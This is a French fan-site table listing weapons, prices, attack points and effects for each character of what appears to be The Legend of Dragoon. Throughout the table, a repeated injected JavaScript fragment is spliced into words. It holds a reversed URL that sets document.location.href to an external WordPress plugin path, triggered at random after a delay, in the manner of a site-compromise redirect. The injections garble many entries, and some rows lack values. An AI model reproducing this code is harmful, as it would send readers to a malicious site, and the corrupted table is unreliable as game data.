Les armes

Dart

 

Nom
Prix
Points d’attaque
Description
Epée large
2
Équipement de base.
Epée mortelle
60
7
Lame brûlante
150
18
Attaque de feu.
Fauchon
250
26
Broie l’esprit
350
34
Provoque état anormal confusion.
Epée de fée
400
39
+ 50% de SP.
Claymore
500
44
Mange l’ame
75
Utilise 10% des HP de Dart à chaque toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tour. Cet inconvénient peut être annulé en équipant Dart de l’anneau guérisseur.

 

Lavitz

 

Nom
Prix
Points d’attaque
Description
Epieu
20
4
Équipement de base.
Lance
100
19
Doloise toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torse
28
Attaque de vent.
Glaive
250
37
Epieu de peur
300
45
Provoque état anormal peur.
Pertuisane
400
56
Hallebarde
500
65

 

Haschel

 

Nom
Prix
Points d’attaque
Description
Poing américain
20
Équipement de base.
Croc de bête
250
31
Provoque état anormal étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement.
Griffe diamant
300
37
Poing américain (Bronze)
43
 Provoque état anormal mort immédiate.
Poing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonnerre
450
49
Attaque éclair.
Massue destructrice
500
55
Lorsque le nombre d’HP diminue, la force des attaques augmente.

 

Rose

 

Nom
Prix
Points d’attaque
Description
Rapière
13
Équipement de base.
Stylet démon
18
Coupe l’ombre
200
24
Attaque des ténèbres.
Dague dansante
300
30
Flamberge
350
35
Provoque état anormal étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement.
Glaive
400
40
Provoque état anormal mort immédiate.
Chasse dragon
100

 

Shana

 

Nom
Prix
Points d’attaque
Description
Arc court
3
Équipement de base.
Flèche étincelante
50
9
Attaque de lumière.
Arc long
150
18
Flèche stupéfiante
250
24
Provoque état anormal confusion.
Flèche virulante
350
30
 Provoque état anormal poison.
Flèche de force
500
40
 50% de SP.
Flèche explosive
50
Attaque toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les ennemis.

 

Meru

 

Nom
Prix
Points d’attaque
Description
Massue
15
Équipement de base.
Joli marteau
15
Double les SP gagnés.
Etoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toile du jour
250
20
Marteau
300
25
Massue lourde
400
30
 Provoque état anormal étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement.
Broyeur
500
40

 

Kongol

 

Nom
Prix
Points d’attaque
Description
Hache
45
Équipement de base.
Tomahawk
300
59
Hache d’arme
350
67
Grande hache
400
79
Provoque état anormal étoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tourdissement.
Hache d’Indora
88
Provoque état anormal mort immédiate.